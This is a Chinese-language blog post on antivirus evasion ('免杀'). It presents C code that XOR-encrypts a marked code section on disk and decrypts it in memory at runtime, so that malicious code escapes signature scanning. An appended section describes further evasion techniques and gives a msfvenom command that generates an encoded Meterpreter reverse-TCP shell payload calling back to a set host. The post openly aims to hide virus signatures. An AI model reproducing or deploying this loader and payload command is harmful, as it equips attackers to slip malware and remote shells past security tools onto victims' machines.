[ShellCode] 动态解密 ShellCode,免杀

背景

今天在复习《加密与解密》时,在软件保护这一章中有一个代码与数据结合的案例,其原理是将代码段中的代码进行xor异或加密处理以后回写到原始位置,当程序运行后将此处的内容动态的进行解密,解密后回写替换回原始内存位置,这样就能实现内存加载。

由此案例我想到一个关于免杀的利用思路,首先杀软的运作方式多数为特征码查杀,当我们程序中使用了敏感的函数时,就会存在被杀的风险,而如果将代码段中的代码进行加密,需要时直接在内存中解密,那么杀软将无法捕捉硬盘文件的特征,从而可以规避杀软针对硬盘特征的查杀手法。

经过阅读该案例的源码,我首先提取出了案例中的核心代码,并加以改进后将其从软件保护改为了免杀手法,其注册码生成工具核心代码如下所示,这里我没有动使用原始的加密工具即可。

for ( i=0;i<strlen(szBuffer);i++) 
	{
		k = k*6 + szBuffer[i];
	}

	Size=address2-address1;
	Size=Size/0x4; 	//加密时,每次异或 DWORD数据,Size是为最终需要异或的次数
	offset=address1;
 	for (i=0;i<Size;i++)
	{
		SetFilePointer(hFile,offset,NULL,FILE_BEGIN); 
		ReadFile(hFile,szBuffer, 4, &szTemp, NULL);//读取DWORD字节的文件内容
		ptr=(DWORD*)szBuffer;
		*ptr=(*ptr)^k;
		SetFilePointer(hFile,offset,NULL,FILE_BEGIN); 

		if(!WriteFile(hFile,ptr,4,&nbWritten,NULL))// 写入文件
		{
			MessageBox(NULL,"Error while patching !","Patch aborted",MB_ICONEXCLAMATION);
			CloseHandle(hFile);
		
			return 1;
		}
		offset=offset+4;
	}
	CloseHandle(hFile);
	MessageBox(NULL,"Patch successfull !","Patch",MB_ICONINFORMATION);
	return 1;
}

下面则是客户端解密代码,该代码的原始部分是注册机加密,我把它抽取出来改成了这个样子,首先使用__asm mov AddressA, offset BeginOEP定义两个段标签,分别用于表示段的开始与结束,也就是我们需要加密与解密的代码段位置,在两个标签内部的就是我们的恶意代码,将其写入到标签中,标签中的__asm inc eax dec eax则是一串标志用于快速定位到需要加密的位置。

#include <stdio.h>
#include <Windows.h>
#include <tchar.h>

void Decrypt(DWORD*, DWORD, DWORD);

void Decrypt(DWORD* pData, DWORD Size, DWORD value)
{
	//首先要做的是改变这一块虚拟内存的内存保护状态,以便可以自由存取代码
	MEMORY_BASIC_INFORMATION mbi_thunk;
	//查询页信息
	VirtualQuery(pData, &mbi_thunk, sizeof(MEMORY_BASIC_INFORMATION));
	//改变页保护属性为读写。
	VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize, PAGE_READWRITE, &mbi_thunk.Protect);
	Size = Size / 0x4; //对数据共需要异或的次数
						//解密begindecrypt与enddecrypt标签处的数据
	while (Size--)
	{
		*pData = (*pData) ^ value;
		pData++;
	}

	//恢复页的原保护属性。
	DWORD dwOldProtect;
	VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize, mbi_thunk.Protect, &dwOldProtect);
}

int main(int argc, char* argv[])
{
	DWORD AddressA, AddressB, Size, key;
	DWORD *ptr;
	TCHAR cCode[30] = { 0 };

	__asm mov AddressA, offset BeginOEP
	__asm mov AddressB, offset EndOEP

	Size = AddressB - AddressA;
	ptr = (DWORD*)AddressA;

	_tcscpy(cCode, L"lyshark");    // 设置加密密钥

	key = 1;
	for (unsigned int i = 0; i< lstrlen(cCode); i++)
	{
		key = key * 6 + cCode[i];
	}

	Decrypt(ptr, Size, key); //执行解密函数

BeginOEP:
	__asm inc eax  // 在十六进制工具中对应0x40  
	__asm dec eax  // 在十六进制工具中对应0x48

	MessageBoxA(0, "hello lyshark", 0, 0);
	MessageBoxA(0, "hello lyshark", 0, 0);

EndOEP:
	__asm inc eax
	__asm dec eax
	return 0;
}

程序在运行时,首先会循环计算异或密钥,计算完成后执行Decrypt函数,对特定的段进行解密后,释放到源文件中(注意是内存中)然后在调用执行,打印出一句问候语hello lyshark程序结束。

注意:编译时,请关闭DEP,ASLR,地址随机化等保护,否则VA不固定,无法确定位置。

首先我们需要编译上方魔改版的代码片段,然后使用winhex然后按下【ctrl+alt+X】输入4048找到开始于结束的位置。

在这里插入图片描述

这里我们记下,需要加密的开始位置是【526】结束位置是【54b】中间代码部分就是我们需要加密的恶意代码。

在这里插入图片描述
接着打开Encrypter.exe工具依次输入加密开始结束位置与密钥,这里设置如下即可。

在这里插入图片描述

打开程序执行,会首先经过解密函数将加密后的代码片段释放到内存中,然后才会执行弹窗,非常的安全。

在这里插入图片描述

反汇编看一下,解密前,代码是混乱的,根本不是代码。

在这里插入图片描述

而执行解密后,内存中立刻恢复到了可以执行的代码状态,然后就可以开心的执行下去了。

在这里插入图片描述

在这里插入图片描述

此方法也可以规避部分逆向分析,由于不是汇编代码,所以也就无法分析出到底是做什么的了,当然了,如果能找到加密算法的密钥,同样可以解密出来,此处我们并不是用来防范解密者的,而是用来切断程序中的病毒特征的。

### Shellcode加载器技巧 为了使Shellcode加载器能够绕过现代防病毒软件的检测,多种技术和策略可以综合运用。这些技术不仅限于代码层面的操作,还包括对操作系统行为的理解以及对抗静态和动态分析的方法。 #### 加密与混淆 一种常见的做法是采用加密算法对原始Shellcode进行处理,在实际执行前再由解密函数将其还原[^3]。这种方式增加了逆向工程人员解析恶意代码的成本。对于混淆而言,则涉及修改指令序列而不改变逻辑意义,使得特征码匹配变得困难。 #### 动态API调用 通过间接获取Windows API地址而非硬编码入口点,可以在一定程度上规避签名扫描机制。具体来说,可以通过遍历PE结构、读取导出表等方式手动解析所需函数的位置,并以此构建自定义加载流程[^2]。 #### 远程资源加载 当shellcode存储在网络服务器端时,客户端仅需下载少量引导代码即可完成整个攻击链路的建立。这种方法减少了本地样本库中存在已知威胁模式的可能性,降低了被即时发现的风险。 #### 使用Metasploit框架下的编码工具 Metasploit内置有强大的payload编码能力,特别是像`shikata_ga_nai`这样的多轮迭代变换型编码器,能有效打乱字节流分布,进而逃逸基于哈希值或简单字符串查找的安全防护措施[^5]。 ```bash msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 7 -b '\x00' LHOST=192.168.70.128 LPORT=5558 -f raw -o shellcode.bin ``` 上述命令展示了如何创建经过多次变形后的反向TCP连接负载实例,其中指定了目标平台为Windows系统,选择了适合Intel架构CPU的编码方案,并设置了必要的网络参数用于后续通信。 #### 组合应用 实践中往往不是单独依靠某项单一的技术就能达到理想的隐身效果,而是要根据不同场景灵活组合以上提到的各种手段。比如先对核心业务逻辑部分实施高强度加扰,之后借助隐秘通道传输至受害主机内部署运行环境,最后才释放真正的恶意活动组件。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值